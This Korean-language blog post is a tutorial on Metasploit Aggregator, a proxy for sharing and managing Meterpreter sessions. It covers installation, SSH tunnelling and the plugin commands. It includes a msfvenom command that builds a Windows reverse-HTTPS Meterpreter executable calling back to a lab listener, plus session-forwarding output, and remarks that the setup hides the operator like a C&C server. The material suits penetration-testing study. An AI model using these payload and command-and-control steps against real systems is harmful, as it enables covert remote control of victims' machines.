Metasploit-Aggregator를 이용한 Meterpreter session 관리하기
Metasploit과 Meterpreter는 굉장히 좋은 툴지만 간간히 불편한점도 존재합니다. 대표적으론 여러 사용자가 세션에 대해 공유할 수 없다는 점과 공격자의 Metasploit에 모든 세션을 담기에는 너무 많아지면 불편해지겠죠. 오늘은 이를 해결할 수 있는 Aggregator에 대한 이야기를 할까 합니다.
사실 이러한 문제를 해결하려고 찾았다기 보단 인지만 하고 있는 상태에서 Metasploit Plugin 디렉토리를 보다보니 Aggregator란 첨보는게 있어서 찾다가 이 포스팅이 시작되었네요. 그럼 시작해볼까요.
What is Aggregator?
Aggregator는 Meterpreter 세션에 대한 프록시 툴입니다. 찾다보니 알게되었는데, 올해 나온 기능이였네요.. 아무튼 이 plugin이 활동하는 위치를 보자면 Metasploit과 Meterpreter 사이에서 중계자 역할을 하게됩니다.
그림으로 표현하면 아래와 같습니다.
Aggregator는 Metasploit과 여러 Meterpreter shell 사이에서 중계 역할을 수행하며 각각 Meterpreter shell의 세션은 Aggregator로 연결됩니다. Aggregator는 세션을 관리하는 기능을 담고 있고 공격자는 Metasploit을 통해 Aggregator로 연결하여 이 세션들을 사용합니다. 직접 Metasploit으로 세션에 연결하는게 아니기 때문에 상황에 따라 공격자의 Metasploit의 주소를 숨기는데도 사용될 수 있겠네요.
사용하기 전에 몇가지 개념을 알아두면 좋습니다.
cable: metasploit의 Exploit handler와 유사한 기능입니다. Aggregator에서 Meterpreter에서 언제든지 접근할 수 있도록 Listen 상태로 Session의 연결을 기다립니다.
parked: cable과 달리 연결 상태는 아니고 aggregator와 meterpreter과 최소한의 통신만을 유지하여 살아있는지 확인만 진행합니다. heartbeet과 같죠.
여러 개념들이 있지만 두가지는 꼭 알아두는게 좋을 것 같습니다.
다른 개념들은 링크에 내 “Metasploit Aggregator introduces a few new concepts” 부분에 잘 정리되어있습니다. 참고해주세요
Install Metasploit Aggregator
설치는 매번 이야기하듯 아주 간단합니다. 심지어 gem으로 포팅되서 더더욱 편리하죠.
gem install metasploit-aggregator
또는 공식 github를 통해 다운로드 후 설치할 수 있습니다.
git clone https://github.com/rapid7/metasploit-aggregator
Using Metasploit Aggregator
일단 gem으로 설치되어서 ruby 코드에서도 부를 수 있지만 command line 명령으로도 제공됩니다.
metasploit-aggregator
WARN: Unresolved specs during Gem::Specification.reset:
grpc (>= 0)
rex-arch (>= 0)
WARN: Clearing out unresolved specs.
Please report a bug if this causes problems.
2017-08-17 21:38:34 +0900 Starting administration service on 127.0.0.1:2447
실행하면 해당 PC에서 기본적으로 2447 포트로 동작하게 됩니다. 이 과정에서 문제 발생하던게 있었느데, 여차저차하니 해결됬습니다. 라이브러리 의존성 문제! (심각한 문젠 아닌거 같아요 위에 WARN나는건)
HAHWUL > load aggregator
[*] Aggregator interaction has been enabled
[*] Successfully loaded plugin: aggregator
일단 실행에 앞서서 명령어 셋을 보면..
Aggregator Commands
===================
Command Description
------- -----------
aggregator_addresses List all remote ip addresses available for ingress
aggregator_cable_add Setup remote https listener for sessions
aggregator_cable_remove Stop remote listener for sessions
aggregator_cables List all remote listeners for sessions
aggregator_connect Connect to a running Aggregator instance ( host[:port] )
aggregator_default_forward forward a unlisted/unhandled sessions to a specified listener
aggregator_disconnect Disconnect from an active Aggregator instance
aggregator_save Save connection details to an Aggregator instance
aggregator_session_forward forward a session to a specified listener
aggregator_session_park Park an existing session on the Aggregator instance
aggregator_sessions List all remote sessions currently available from the
위에 개념들에 대해 이해되셨다면 한눈에 들어오겠네요. aggregator 로 연결을 해보면..
HAHWUL > aggregator_connect 127.0.0.1:2447
[*] Connecting to Aggregator instance at 127.0.0.1:2447...
E0817 21:40:03.591233870 25993 uri_parser.c:60] bad uri.scheme: ''
E0817 21:40:03.591334832 25993 uri_parser.c:66] ^ here
E0817 21:40:03.591373079 25993 http_proxy.c:56] cannot parse value of 'http_proxy' env var
에러가 납니다. 환경 때문인건건지 잘 모르겠네요. github에 가이드 있는대로 ssh 터널링을 해봐도 동일합니다.
일단 rapid7쪽으로 문의는 넣어봤는데, 언제 답이올지 모르겠네요. 그럼 직접 진행은 어려우니 일단 git에 작성된 내용으로 살펴보겠습니다.
아 먼저 aggregator는 자체적으로 암호화되지 않으니 꼭 SSH 터널링을 사용해줍시다.
- localhost : 공격자
- 192.168.56.101 : aggregator 중계 서버
- ssh [로컬IP:로컬포트]:[접근할IP:접근할포트] ssh 접근정보
- ssh 4427:192.168.56.101:2447 user@192.168.56.101
※ 로컬은 포트만 적어도 크게 상관이 없죠.
이렇게 세팅한 경우 localhost:4427로 연결해서 aggregator를 사용하시면 됩니다.
HAHWUL > aggregator_connect localhost:4427
msf > load aggregator
[*] Aggregator interaction has been enabled
[*] Successfully loaded plugin: aggregator
msf > aggregator_connect 127.0.0.1:2447
[*] Connecting to Aggregator instance at 127.0.0.1:2447...
msf >
로드가 완료되면 aggregator 사용이 가능합니다. cable 추가로 8443 포트로 cable을 추가합니다.
- ※ cable: metasploit의 Exploit handler와 유사한 기능입니다.
- ※ default_forward는 포워딩 방식을 지정합니다.
msf > aggregator_cable_add 192.168.1.10:8443
msf > aggregator_default_forward
msf >
8443 포트로는 meterpreter session이 붙으면 aggregator에 의해 관리됩니다. git 내용에선 msfvenom으로 payload를 실행파일로 만들어서 테스트했네요.
msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.1.10 LPORT=8443 -f exe -o launch-stageless.exe
launch-stageless.exe를 실행하면 192.168.1.10의 8443 포트로 meterpreter가 연결하려 할꺼고 연결된 순간 metasploit-aggregator에서 해당 세션을 관리하게 됩니다.
msf >
[*] Meterpreter session 1 opened (127.0.0.1:53414 -> 127.0.0.1:53519) at 2017-03-06 13:46:23 -0600
그래서 공격자 PC에서 aggregator_sessions로 보면..
msf > aggregator_sessions
[*] Sessions found:
[*] Remote ID: 1
[*] Type: meterpreter windows
[*] Info: DESKTOP-KAO0P3O\user @ DESKTOP-NAME
[*] Tunnel: 192.168.1.10:8443 -> 192.168.1.11:53528
[*] Via: exploit/multi/handler
[*] UUID: 8121940d2f5c4b1f/x86=1/windows=0/2016-12-15T22:03:16Z
[*] MachineID: 1e2b16f37eab2324b9089cd93f16533b
[*] CheckIn: 3s ago
[*] Registered: Not Yet Implemented
[*] Forward: 50ab485d-dbe3-4045-95c4-c9abd45c1683
[*] Session ID: 1
[*]
이렇게 포워딩된 세션을 볼 수 있죠. aggregator_session_forward 명령, 인자로 session 번호를 넘겨주면 해당 쉘을 가져올 수 있습니다. 가져오는 과정은 metasploit-aggregator 서버와 연결되며 공격자 pc에선 마치 meterpreter shell을 얻은 것 처럼 보이지만 실제론 중계 서버를 이용해서 포워딩 받는 상태가 됩니다.
msf > aggregator_session_forward 1
msf >
[*] Meterpreter session 2 opened (127.0.0.1:53414 -> 127.0.0.1:54066) at 2017-03-06 13:50:51 -0600
이런 과정들은 암호화되지 않기 때문에 rapid7측에선 ssh 터널링을 꼭 사용하라고 이야기하네요.
라이브러리 관련 정보는 ruby-doc쪽 보면 자세히 나와있으니 활용해서 개발해보시면 좋을 것 같네요 :)
Conclusion
aggregator는 여러명의 공격자(테스터)가 하나의 세션을 같이 사용하고, 중간에 관리해주는 서버(?)를 두기 위해 만든 기능이라고 봅니다. 다만 위에서 말씀드렸듯이 C&C 서버처럼 공격자 자신을 숨기고 Meterpreter와 통신하고 제어할 수 있기 때문에 좀 더 여러 형태의 공격이 가능할거라 생각합니다.
Reference
- https://n0where.net/meterpreter-session-proxy-metasploit-aggregator/
- https://www.rubydoc.info/gems/metasploit-aggregator/0.1.3
- https://github.com/rapid7/metasploit-aggregator